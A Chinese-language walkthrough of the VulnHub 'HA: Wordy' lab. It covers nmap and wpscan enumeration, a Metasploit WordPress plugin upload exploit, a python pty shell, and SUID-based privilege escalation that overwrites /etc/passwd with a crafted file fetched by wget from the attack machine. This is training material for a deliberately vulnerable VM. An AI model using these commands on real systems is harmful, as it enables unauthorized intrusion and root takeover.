一、概要
攻击机:192.168.60.148
靶机:192.168.60.173
靶机地址:https://www.vulnhub.com/entry/ha-wordy,363/
二、主机发现
nmap扫描一下网段内主机
这里需要注意一下-sS需要使用root权限
sudo nmap -sS 192.168.60.0/24
可以发现靶机及其打开的端口:80
三、信息收集
可以使用nmap简单了解一下目标网站的构成
有的时候还能直接发现一些关键的有用信息,不过这次没有发现
sudo nmap -sS -A -T4 192.168.60.173
直接访问一下网站,即80端口
没有什么可以利用的东西,就是初始的apache的首页
这个时候就需要进行目录扫描来找突破口了
使用dirb进行一下简单的后缀扫描
info.php是靶机的ip地址
notes.txt
secret.zip有密码
dirb直接扫描一下,可以了解到这是一个wordpress的站
这里使用wpscan对站点进行一下扫描
wpscan一些常用命令的用法
wpscan -update 更新漏洞库
wpscan --url http://? -e vp,vt 指定多个扫描选项
wpscan --url http://? --enumerate t 对目标网页主题进行扫描
wpscan --url http://? --enumerate vt 对目标网页主题的漏洞进行扫描
wpscan --url http://? --enumerate p 对目标网页插件进行扫描
wpscan --url http://? --enumerate vp 对目标网页插件漏洞进行扫描
wpscan --url http://? -P 密码文件路径(绝对路径) -U 用户名文件路径(绝对路径)
wpscan --url http://?/wordpress --enumerate u 枚举用户名
wpscan --url http://192.168.60.173/wordpress --enumerate p
四、漏洞利用
扫描出来的插件拿去msf搜索一下有没有可以利用的漏洞
这里搜索到一个可以利用的这个插件的文件上传漏洞
set RHOSTS 192.168.60.173
set TARGETURI /wordpress
run
五、获取shell
shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
使用python加载一个/bin/bash的终端
六、低权限flag
使用find命令模糊查询一下flag相关文件
find / -name flag*
发现在/home/raj下有一个flag1.txt
得到第一个flag
七、提权
查找suid
find / -type f -perm -u=s -user root 2>/dev/null
这里有wget和cp两种方式可以覆盖root账号的密码
先在kali攻击机的web目录下创建一个passwd文件,内容为靶机的etc/passwd文件的内容
openssl简单使用
openssl passwd
-1:使用md5加密算法
-salt string:加入随机数,最多8位随机数
-in file:对输入的文件内容进行加密
-stdion:对标准输入的内容进行加密
修改passwd种root的密码为openssl生成的密文
攻击机用python开启HTTP服务器
这里一定要在/var/www/html目录下开启服务
利用连接靶机的shell使用wget从攻击机上下载构造好的passwd文件来覆盖靶机上的passwd文件
wget http://192.168.60.148/passwd -O /etc/passwd
直接进入root权限
在根目录下找到flag文件